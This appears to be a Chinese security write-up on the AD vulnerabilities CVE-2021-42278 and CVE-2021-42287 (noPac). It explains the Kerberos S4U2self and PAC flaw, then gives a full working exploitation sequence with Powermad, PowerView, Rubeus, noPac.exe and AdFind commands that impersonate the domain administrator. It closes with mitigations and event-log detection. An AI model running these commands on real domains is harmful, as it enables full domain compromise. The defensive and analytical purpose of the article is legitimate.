Name impersonation and KDC bamboozling漏洞分析
文章首發于安全客:https://www.anquanke.com/post/id/264500
0x00 漏洞背景
今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287兩個關于AD域漏洞相關信息,該漏洞影響巨大,在默認情況下只需一個域用戶即可拿到域內最高權限。
0x01 披露時間線
11月10日Cliff Fisher在推特發布了相關的漏洞信息。
12月10日Charlie Clark在博客發布漏洞原理及利用手段。
12月11日cube0x0在github發布了noPac,實現了真正的武器化。
0x02 漏洞概述
漏洞的產生本質是windows機器賬戶和kerbeors之間協調溝通所產生的邏輯問題。
CVE-2021-42278 - KB5008102
允許攻擊者任意修改計算機帳戶sAMAccountName字段,進而模擬域控申請票據。
加入域的機器賬戶默認由$結尾,samAccountName默認和域機器名一致。但DC沒有對sAMAccountName屬性進行合法性判斷,導致刪除sAMAccountName結尾的$照樣可以以機器用戶身份申請TGT票據。
什么是sAMAccountName
sAMAccountName 屬性是一個登錄名,用于支持以前版本的 Windows 中的客戶端和服務器,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。 登錄名必須少于 20 個字符,在域中的所有安全主體對象中必須唯一,并且不能包含以下任何字符:
- "/ \ [ ] : ; | = , + * ? < >
userPrincipalName是基于Internet標準RFC 822的用戶樣式登錄名,UPN是可選并在域林中的安全主體對象名中保持唯一。在創建用戶時可以指定也可不單獨指定,用戶格式為:username@domain.name。
域名:redteam.lab
SamAccountName:marry
NetBIOS登錄名:reedteam\marry
UserPrincipalName:marry@redteam.lab

在 Active Directory中,存儲帳戶登錄名或用戶對象實際上是命名符號“Domain\LogonName ”中使用NetBIOS名稱組合,該屬性是域用戶對象的必需屬性;而SAMAccountName應始終與UPN主體名稱保持一致,即SAMAccountName必須等于屬性“UserPrincipalName” 的前綴部分。
更改sAMAccountName
漏洞憑借修改計算機帳戶sAMAccountName字段來模擬域控申請票據,但直接將域內機器Evilsystem的sAMAccountName改為與域控相同(不加$),結果顯示異常。

修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 屬性時SPN 列表會自動更新。
添加機器帳戶默認會創建4個SPN,包括以下內容:
1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name
意味著Evilsystem 將要改成與域控相同的SPN,但是SPN是網絡控制器服 務實例的唯一標識符, Kerberos身份驗證使用它來將服務實例與服務登錄帳戶相關聯,這時會產生沖突;但servicePrincipalName在設置以上屬性之前已被刪除,那么SPN列表將不會更新,除非再次給該字段賦值。所以在修改samAccountName前刪除其SPN屬性。
sAMAccountType屬性
sAMAccountType表示在Active Directory 中安全主體對象的帳戶類型。在LDAP查詢中,常常用其篩選域機器和域用戶等其他對象。
sAMAccountType=268435456(安全組)
sAMAccountType=268435457(非安全組)
sAMAccountType=536870912(別名對象)
sAMAccountType=536870913(非安全別名對象)
sAMAccountType=805306369(機器對象)
| Name | Value |
|---|---|
| SAM_DOMAIN_OBJECT | 0x0 |
| SAM_GROUP_OBJECT | 0x10000000 |
| SAM_NON_SECURITY_GROUP_OBJECT | 0x10000001 |
| SAM_ALIAS_OBJECT | 0x20000000 |
| SAM_NON_SECURITY_ALIAS_OBJECT | 0x20000001 |
| SAM_USER_OBJECT | 0x30000000 |
| SAM_MACHINE_ACCOUNT | 0x30000001 |
| SAM_TRUST_ACCOUNT | 0x30000002 |
| SAM_APP_BASIC_GROUP | 0x40000000 |
| SAM_APP_QUERY_GROUP | 0x40000001 |
| SAM_ACCOUNT_TYPE_MAX | 0x7ffffff |
cn: SAM-Account-Type
ldapDisplayName: sAMAccountType
attributeId: 1.2.840.113556.1.4.302
attributeSyntax: 2.5.5.9
omSyntax: 2
isSingleValued: TRUE
schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
systemOnly: FALSE
searchFlags: fATTINDEX
attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
isMemberOfPartialAttributeSet: TRUE
systemFlags: FLAG_SCHEMA_BASE_OBJECT |
FLAG_ATTR_REQ_PARTIAL_SET_MEMBER
schemaFlagsEx: FLAG_ATTR_IS_CRITICAL
UserAccountControl
UserAccountControl包含一系列標志,這些標志定義了用戶對象的一些重要基本屬性,可以通過分配給該屬性的值通知 Windows 每個主體啟用了哪些選項。
該屬性標志是累積性的,比如要禁用用戶的帳戶,UserAccountControl 屬性被設置為 514 (2 + 512)。
LEX官網對這個屬性進行了整理,以下為常見類型:
| UF_NORMAL_ACCOUNT ( 512 ) | 這是一個普通域用戶。 |
|---|---|
| UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) | 這是一個普通域機器。 |
| UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) | 這是一個代表與外部域的信任連接的帳戶。通常,帳戶名稱是域的 NetBIOS 名稱,末尾帶有“$”。 |
| UF_SERVER_TRUST_ACCOUNT ( 8192 ) | 這是一個域控帳戶。 |
| UF_DONT_EXPIRE_PASSWD (65536) | 這個用戶不受有關域內密碼策略相關的影響,且密碼永不過期。 |
| UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128) | 代表可逆加密存儲用戶密碼 ,如果用戶更改密碼就能解密獲得其明文密碼。 |
| UF_ACCOUNT_DISABLE ( 2 ) | 代表帳戶被禁用,并且無法再向域進行身份驗證。 |
https://blog.csdn.net/xjzdr/article/details/3553246也對UserAccountControl進行了詳細解釋。
UserAccountControl定義了用戶對象的重要基本屬性,微軟以sAMAccountName的值是否以$結尾來區別windows域內的普通域用戶和機器賬戶。但UserAccountControl并沒有規定計算機帳戶的sAMAccountName必須以$結尾,域機器sAMAccountName去掉最后的$照樣可以以機器賬戶的身份申請TGT票據,為后面的CVE-2021-42287觸發提供了先行條件。
CVE-2021-42287 KB5008380
影響 Kerberos 特權屬性證書 (PAC) 并允許攻擊者通過S4U2Self冒充域控申請ST的安全繞過漏洞。
微軟依照是否以$結尾來區別windows域內的普通域用戶和機器賬戶,所以按照慣例默認給機器賬戶加$,而kerberos認證時并不會區別對待;為了兼容這種情況,如果kerberos認證票據時沒有找到對應的域用戶,會采用在用戶名稱后添加$進行重試認證的fallback。
在有PAC 的情況下請求 TGT,并且為與DC具有相同的sAMAccountName(不帶$)的機器帳戶請求 S4U2self 票據,當初始帳戶不存在時自動進行重試認證fallback,KDC沒有驗證請求TGT的帳戶是否與服務票證中引用的帳戶相同,結果在ST中使用DC的密鑰進行加密。
在默認設置的 Active Directory 環境中可以通過一個域用戶憑證拿到域內最高權限。
0x03 漏洞原理
微軟以是否以$結尾來區別windows域內的普通域用戶和機器賬戶,而kerberos認證時并不會區別對待;為了兼容這種情況,如果kerberos認證票據時沒有找到對應的域用戶,會采用在用戶名稱后添加$進行重試認證的fallback。
kerberos認證的CName String/SName String均從sAMAccountName提取,如果域控是DC2$,一臺域機器的sAMAccountName被改為DC2。那么當域用戶申請TGT后將sAMAccountName更改為其他值,進而在申請ST票據時,kerberos找不到DC2這個機器用戶,于是會觸發fallback變為DC2$。在S4U階段生成了新的用于訪問自身的高權限PAC,KDC沒有識別高權限ST作用于哪個機器賬戶、PAC也沒有原始請求者的信息,于是在ST中使用域控的密鑰進行加密,這樣就拿到了域控的ST票據,從而模擬域控上任意服務的任意用戶進行訪問登陸。
XP源碼分析
https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA這篇文章寫的很清楚,有興趣可以看看。
KdcGetTicketInfo
首先判斷是否是krbtgt賬戶,如果是則直接調用GetKrbtgt函數獲取TicketInfo
判斷是否是本域的用戶,并進行三次查找:
- 首先直接查找傳入的用戶
- 然后查找傳入的
username+$ - 仍未找到則查找其 altSecurityIdentities 屬性的value
這就是第一個漏洞產生的原因,sAMAccountName沒有$的機器賬號如果沒有找到會加$進行callback重試。
KdcInsertAuthorizationData
KdcInsertAuthorizationData中可以找到KDC Server獲取PAC的處理邏輯:
1.如果不是S4U的請求,則直接從TGT的AuthData中提取PAC(沿用最初的PAC)。
說明了S4U的重要性,如果沒有S4U2self,將會沿用最初的PAC;最初的PAC在AS-REP階段憑請求用戶身份生成,沒有權限訪問域控相關服務。
2.如果是S4U請求,首先調用KdcGetS4UTicketInfo請求獲取S4UUserInfo,再調用kdcGetPacAuthData函數來構造PAC data。
kdcGetPacAuthData:若原票據不存在PAC,則會構造一個新的PAC;若無法構造,則直接復制PAC。
KdcGetS4UTicketInfo函數的處理邏輯中又調用了KdcGetTicketInfo,也就是通過這把前后兩個漏洞組合在了一起。

因此得到和上面一樣的結論:
S4U2self拓展用于AS-REQ將票證檢索到自身來模仿任意用戶訪問,而KDC在S4U2Self階段會將SFU填充的字段從TGT中的PAC復制到新創建的PAC中。在進行自動添加$進行callback時,KDC并沒有識別高權限ST作用于哪個機器賬戶、PAC也沒有原始請求者的信息,出現鑒權問題從而產生漏洞。
通過公開EXP截取數據分析
wireshark中提供直接將keytab 導入Kerberos,能將PAC等加密字段進行解密。
kerberos認證

整體流程
1.AS_REQ:client用client_hash(一般使用RC4加密)、時間戳向KDC進行預身份驗證。
2.AS_REP:KDC檢查client_hash與時間戳,如果正確則返回client由krbtgt哈希加密的TGT票據和PAC等相關信息。
3.TGS_REQ:client向KDC請求TGS票據,出示其TGT票據和請求的SPN。
4.TGS_REP:KDC如果識別出SPN,則將該服務賬戶的NTLM哈希加密生成的ST票據返回給client。
5.AP_REQ:client使用ST請求對應服務,將PAC傳遞給服務進行檢查。服務通過PAC查看用戶的SID和用戶組等并與自身的ACL進行對比,如果不滿足則作為適當的RPC狀態代碼返回。
6.AP_REP:服務器驗證AP-REQ,如果驗證成功則發送AP-REP,客戶端和服務端通過中途生成的Session key等信息通過加解密轉換驗證對方身份。

AS-REQ:
域控為DC2$,這里申請sAMAccountName為DC2(不帶$)的TGT票據
- 請求的用戶端信息
- 加密類型
- Authenticator(用戶Hash加密時間戳)

AS-REP:
- 通過活動目錄查詢用戶得到用戶的Hash,用Hash解密Authenticator,如果解密成功并且時間戳在規定時間內(一般為五分鐘),則預認證成功。
- 生成由krbtgt用戶Hash加密的TGT認購權證,用于確保客戶端和DC進行安全通信的用戶Hash加密后的Login Session Key(作為下一階段的認證秘鑰)。
- 返回TGT(TGT中包含PAC,PAC包含Client的sid,Client所在的組)、Login Session Key、和時間戳。

PAC
PAC由KDC在AS-REP中生成,其中包含用戶sid和組等信息,當client在AD域內進行身份認證的時候,KDC會把這些信息添加到TGT票據加密返回;KDC主要通過PAC中的GroupIds和Userid與要訪問服務的ACL進行比較,判斷client是否有權限對其進行訪問。

KDC在AP-REQ訪問服務時檢查PAC。同時 TGS 解密驗證簽名是否正確,然后再重新構造新的 PAC 放在 ST 里返回給client,client將 ST 發送給服務端進行驗證,Server再將此信息與用戶所索取的資源的ACL進行比較,以此判斷用戶是否有權限對其進行訪問。
PAC里面包含了用戶SID、組等信息。在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM兩個數字簽名 ,這兩個數字簽名分別由Server NTLM Hash和KDC NTLM Hash加密,并且PAC對于用戶和服務全程都不可見,只有KDC能制作和查看PAC。
PAC結構是一個AuthorizationData
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
結構如下:

可以看到ad-type為AD-IF-RELEVANT。
ad-data也是一個AuthorizationData,ad-type為AD-WIN2K-PAC,ad-data為一個PACTYPE的結構體和幾個PAC_INFO_BUFFER 結構數組;PACTYPE結構是PAC的最頂層結構,指定PAC_INFO_BUFFER數組中的元素數。PACTYPE結構用作完整PAC數據的標頭。
每個 PAC_INFO_BUFFER 定義了 PAC 緩沖區的類型和字節偏移量,用作指向遵循此標頭的PAC內容的指針。PAC_INFO_BUFFER 數組沒有定義的順序,因此PAC_INFO_BUFFER 緩沖區的順序沒有意義。但是,一旦生成了 KDC 和服務器簽名,緩沖區的順序不得更改,否則 PAC 內容的簽名驗證將失敗。
PACTYPE結構如下:

PAC_INFO_BUFFER結構如下:

其中ulType描述在Offset處包含的緩沖區中存在的數據類型。
| Value | Meaning |
|---|---|
| 0x00000001 | 登錄信息。PAC結構必須包含一個此類型的緩沖區。必須忽略其他登錄信息緩沖區。 |
| 0x00000002 | 憑證信息。PAC結構不應包含多個此類緩沖區。第二個或后續憑證信息緩沖區在收到時必須忽略。 |
| 0x00000006 | 服務器校驗和。PAC結構必須包含一個此類型的緩沖區。必須忽略其他登錄服務器校驗和緩沖區。 |
| 0x00000007 | KDC校驗和。PAC結構必須包含一個此類型的緩沖區。必須忽略其他KDC校驗和緩沖區。 |
| 0x0000000A | 客戶名稱和票據信息。PAC結構必須包含一個此類型的緩沖區。必須忽略其他客戶端和票證信息緩沖區。 |
| 0x0000000B | 受約束的委派信息。PAC結構必須包含一個此類型的緩沖區,以便為S4U2proxy請求提供服務,否則不包含任何緩沖區。必須忽略其他受約束的委派信息緩沖區。 |
| 0x0000000C | 用戶主體名稱(UPN)和域名系統(DNS)信息。PAC結構不應包含多個此類型的緩沖區。第二個或后續UPN和DNS信息緩沖區在收到時必須忽略。 |
| 0x0000000D | 客戶索賠信息。PAC結構不應包含多個此類型的緩沖區。必須忽略其他客戶端索賠信息緩沖區。 |
| 0x0000000E | 設備信息。PAC結構不應包含多個此類型的緩沖區。必須忽略其他設備信息緩沖區。 |
| 0x0000000F | 設備索賠信息。PAC結構不應包含多個此類型的緩沖區。必須忽略其他設備聲明信息緩沖區。 |
| 0x00000010 | 票證校驗和PAC結構不應包含多個此類型的緩沖區。必須忽略其他票證校驗和緩沖區。 |
0x00000006 對應的是Server檢驗和,0x00000007 對應的是KDC校驗和。前面說過PAC包含server和KDC簽名,就是為了防止PAC內容被篡改。
KERB_VALIDATION_INFO
KERB_VALIDATION_INFO結構定義了DC提供的用戶登錄和授權信息,并由RPC編組。結構定義如下:
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
主要看UserId、GroupCount和GroupId字段:
Userid:域SID+用戶RID(用戶SID)
GroupCount:包含帳戶所屬帳戶域內的組數。
GroupID:指向GROUP_MEMBERSHIP GroupIds結構列表的指針,其中包含帳戶域中帳戶所屬的組。此列表中的組數必須等于GroupCount。其中513為域用戶,512、520、518、519 是域管組。
MS14068就是將高權限的GroupId插入到偽造的PAC中從而提升權限達到接管域的目的。
TGT包含PAC,定位到ticket→enc-part→PAC_LOGON_INFO

Domain Computers的Group RID都為515,現在的PAC代表申請的是機器賬戶身份。

TGS-REQ:
將sAMAccountName為DC2的機器賬戶改為其他任意值,申請其ST
- 客戶端信息
- Authenticator(Login Session Key加密時間戳)
- TGT認購權限
- 訪問的服務名
TGSREQ攜帶ap-req,利用as-rep獲取到的TGT票據并用上S4U2Self拓展,以administrator的身份請求DC2 cifs服務的ST票據。

上圖中的ticket和as-rep返回的ticket都是TGT票據,client用此進行TGS相關后續認證。
S4U2Self
S4U包括和S4U2self和S4U2proxy。S4U2proxy允許服務代表用戶獲得不同服務的服務票證的擴展,通常用于服務進行委派,這里不再敘述,有興趣可以看關于委派相關的章節。
這個漏洞出在S4U2Self上,先來了解一下認證流程。
服務可以使用S4U2self將票證檢索到自身,允許服務代表用戶向自身獲取Kerberos服務票據,包含用戶的組,因此可用來授權,且S4U2self擴展可用于獲取PAC,以確定用戶是否對服務具有訪問權限。
下圖描述了從服務處理TGS的S4U2self TGS-REQ消息。

1.服務使用S4U2self擴展來代表用戶向自身檢索服務票證。該服務填寫PA-FOR-USER數據結構,并向TGS發送TGS-REQ。
2.如果TGS支持PA-FOR-USER擴展,TGS在TGS-REP中返回用戶的ST票據。ST返回的PAC包含授權數據。
PA-FOR-USER結構:
PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
PA-FOR-USER由四個字段組成:userName、userRealm、cksum和auth-package。
userName為用戶的名稱,默認名稱類型為NT-UNKNOWN。
userRealm是用戶帳戶的當前域。
auth-package字段必須設置為字符串“Kerberos”,并且不區分大小寫。
cksum為前三者的校驗和。使用KERB_CHECKSUM_HMAC_MD5函數計算。

在微軟官方文檔中提到:

如果KDC支持PAC,KDC必須將S4U填充的字段從TGT中的PAC復制到新創建的PAC,并在處理其支持的所有字段后, KDC必須生成新的服務器簽名和KDC簽名,以替換PAC中的現有簽名字段。
即在S4U階段創建了新的PAC,而新生成的PAC為后面的漏洞利用提供了充分條件。
TGS-REP:
- 檢查自身是否存在服務,如果存在,通過krbtgt解密TGT并通過Login Session Key解密Authenticator(Login Session Key加密時間戳),就驗證了對方身份。然后驗證時間戳是否在范圍內,并且驗證TGT中的時間戳是否過期,原始地址是否和TGT保存的地址相同等。
- 生成用AS-REP得到的Login Session Key加密后的用于確保安全傳輸的Server Session Key。
- 完成認證后,TGS生成ST票據,其中包括:客戶端信息和原始的Server Session Key,
整個ST票據由該服務的NTLM Hash加密。 - 將ST和Server Session Key發送給客戶端。

結果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高權限PAC用于訪問申請的服務。

在申請ST票據時,kerberos找不到DC2這個用戶,由于是機器賬戶會觸發fallback自動添加$變為DC2$。 結果在 ST 中使用域控的密鑰進行加密,進而可以模擬域控上任意服務的任意用戶進行訪問登陸。
由此可見S4U2Self階段是漏洞觸發的關鍵點,如果沒有S4U2Self就不會生成新的高權限PAC,流程沒有任何問題,只是在這之后沒有做好鑒權:PAC沒有原始請求者的信息、KDC沒有識別高權限ST作用于哪個機器賬戶,從而產生了漏洞。
0x04 漏洞利用
整體流程
假設域內DC機器名為DC1$
1.利用域用戶創建域機器Evil。
2.清除Evil的SPN屬性。
3.將域機器Evil的sAMAccountName屬性更改為DC1(不帶$)。
4.為Evil請求TGT,隨后將其sAMAccountName更改為其他名字(除DC1均可)。
5.通過S4U2self向KDC請求DC1的ST票據(可以任意指定service類型);KDC找不到DC1這個機器賬號,在DC1后面自動添加$匹配為DC1$(域控),從而返回域控機器賬戶代替DC1 的ST票證。
利用步驟
1.利用域用戶創建域機器Evilsystem
域內任意域用戶默認可以添加10臺域機器,這是用于加域的正常功能,在LDAP中呈現的字段為ms-DS-MachineAccountQuota的值。

(1)powermad:
默認會自動為其創建機器注冊SPN
以任意普通域用戶創建一個名為Evilsystem,密碼為1qaz@WSX的域機器
New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)


(2)addcomputer.py
默認不會自動為其創建機器注冊SPN


2.清除Evilsystem的servicePrincipalName屬性(addcomputer.py添加機器用戶省略這一步驟)
Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose


3.將域機器Evilsystem的sAMAccountName屬性更改為DC1(不帶$)
Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose


4.為Evilsystem請求TGT,隨后將sAMAccountName更改為其他名字(除DC1均可)
Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose

5.通過S4U2self向KDC請求DC1的ST票據(可以任意指定service類型)
在這里模擬了administrator用戶訪問DC1上cifs服務的ST票據,這可以是域中任何系統上任何服務上的任何用戶。
(也可以申請host服務票據直接添加用戶,或者直接申請ldap的票據進行dcsync。)
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..

驗證結果

公開EXP利用:
https://github.com/cube0x0/noPac
noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt

其他利用場景
漏洞利用的最終條件就是在域控沒打補丁的情況下,能夠任意修改域機器的SPN和sAMAccountName屬性進行濫用。
1.林信任利用
Charlie Clark在后面的文章中展示了林信任的利用方式
A域和B域互相信任,如果有A域a用戶的權限,可以利用信任關系在B域創建計算機賬戶達到漏洞利用。
2.MAQ=0利用
前面的利用基于MAQ(MachineAccountQuota)創建域機器來實現,如果限制MAQ,有以下思路:
(1).CreatorSID
按照微軟的ACL規定,創建者即為所有者,所有者必定擁有完全控制權限,當然包括更改名稱等一系列屬性。
利用MAQ創建域機器利用的方式其實就是利用了CreatorSID屬性,在一些域內有專門拉機器賬戶進域的用戶,比如carn1用戶將demo123機器拉入域內,則demo123的CreatorSID指向carn1。

通過SID查詢Creator
AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn

查詢carn1對demo123的ACL權限
AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute

在拿到一個域用戶權限后,可以遍歷LDAP查找具有CreatorSID屬性的域機器和對應的域用戶,如果我們已經有了對應的域用戶權限,就可以利用這個用戶修改對應域機器的屬性來進行漏洞利用。
查找每個域機器的加域賬號AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID
通過用戶的sid查看哪些域機器是通過自己加入到域內的:
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory
(2).ACL權限
域內拿到A用戶權限后,遍歷ACL發現其對域機器B有 GenericAll / GenericWrite等權限,可以通過A直接修改B的屬性利用。遍歷ACL分析通常用在窮途末路的時候,更適合做一個后門使用,具體使用依情況而定。
0x05 漏洞修復
2.MAQ(MachineAccountQuota)屬性值設為0。
3.遍歷域內并清除相關可能被利用的ACL。
4.創建名為PacRequestorEnforcementtypeREG_DWORD的注冊表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc,并為其值設為2,這樣的話舊的TGT就不再起作用,讓入侵者以前生成的憑據無效。
0x06 日志分析
1.創建機器賬號產生4741事件

2.刪除SPN產生4742事件

3.將sAMAccountName改為DC1產生4781事件

4.申請TGT并改名產生4768、4781事件


5.通過S4U獲取ST產生4769事件

在上述日志中,TGT和ST的申請在域內太過頻繁、如果是通過impacket中的addcomputer.py添加的機器賬號默認不會包含SPN、所以可隨時監控4741(創建機器賬號產生)、4781(更改sAMAccountName名稱)來確保域內沒有被濫用此漏洞,當然最重要的還是對漏洞進行修復。
0x07 參考
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing

浙公網安備 33010602011771號